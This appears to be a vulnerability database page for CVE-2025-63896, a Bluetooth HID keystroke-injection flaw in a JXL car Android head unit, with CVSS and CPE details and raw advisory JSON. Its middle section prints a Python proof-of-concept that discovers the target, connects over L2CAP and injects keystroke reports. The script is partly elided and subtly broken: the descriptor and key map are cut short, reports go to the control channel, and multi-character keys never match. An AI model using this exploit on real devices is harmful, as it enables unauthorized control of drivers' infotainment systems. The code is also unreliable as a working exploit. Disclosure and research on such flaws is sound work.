Security Vulnerability Report
中文
CVE-2025-63896 CVSS 7.6 HIGH

CVE-2025-63896

Published: 2025-12-04 21:16:09
Last Modified: 2026-01-22 15:16:48

Description

An issue in the Bluetooth Human Interface Device (HID) of JXL 9 Inch Car Android Double Din Player Android v12.0 allows attackers to inject arbitrary keystrokes via a spoofed Bluetooth HID device.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:o:jxlindia:jxl_9_inch_car_android_double_din_player_firmware:12.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:jxlindia:jxl_9_inch_car_android_double_din_player:-:*:*:*:*:*:*:* - NOT VULNERABLE
JXL 9 Inch Car Android Double Din Player Android v12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63896 PoC - Bluetooth HID Keystroke Injection # Target: JXL 9 Inch Car Android Double Din Player Android v12.0 import bluetooth import struct import time class JXL_HID_Injector: def __init__(self, target_name="JXL Android Player"): self.target_name = target_name self.bt_socket = None def discover_devices(self): """Discover nearby Bluetooth devices""" print("Scanning for Bluetooth devices...") nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True) for addr, name in nearby_devices: if self.target_name in str(name): print(f"Found target: {name} ({addr})") return addr return None def connect_hid(self, target_addr): """Establish HID connection to target device""" # HID Report Descriptor for keyboard hid_descriptor = bytes([ 0x05, 0x01, # Usage Page (Generic Desktop) 0x09, 0x06, # Usage (Keyboard) 0xA1, 0x01, # Collection (Application) 0x05, 0x07, # Usage Page (Key Codes) # ... standard HID keyboard descriptor ]) # Connect using HID profile self.bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP) self.bt_socket.connect((target_addr, 0x0011)) # HID Control channel print("HID connection established") def inject_keystroke(self, key_code): """Inject arbitrary keystroke to target device""" # HID Input Report format for keyboard # Modifier keys (1 byte) + Reserved (1 byte) + Key codes (6 bytes) report = struct.pack('8B', 0x00, 0x00, key_code, 0x00, 0x00, 0x00, 0x00, 0x00) self.bt_socket.send(report) print(f"Injected keycode: {hex(key_code)}") def inject_command(self, command): """Inject a command string""" key_map = { 'a': 0x04, 'b': 0x05, 'ENTER': 0x58, # ... standard USB HID keycodes } for char in command: if char.lower() in key_map: self.inject_keystroke(key_map[char.lower()]) time.sleep(0.1) # Usage Example # injector = JXL_HID_Injector() # target = injector.discover_devices() # if target: # injector.connect_hid(target) # injector.inject_command("settings")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63896", "sourceIdentifier": "[email protected]", "published": "2025-12-04T21:16:08.830", "lastModified": "2026-01-22T15:16:48.053", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the Bluetooth Human Interface Device (HID) of JXL 9 Inch Car Android Double Din Player Android v12.0 allows attackers to inject arbitrary keystrokes via a spoofed Bluetooth HID device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:jxlindia:jxl_9_inch_car_android_double_din_player_firmware:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "2EBB52B2-D647-4D78-A88D-92ACDF6A3D70"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:jxlindia:jxl_9_inch_car_android_double_din_player:-:*:*:*:*:*:*:*", "matchCriteriaId": "A8893190-837B-4841-8E92-F525A8488327"}]}]}], "references": [{"url": "http://jxl.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/thorat-shubham/JXL_Infotainment_CVE/blob/main/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}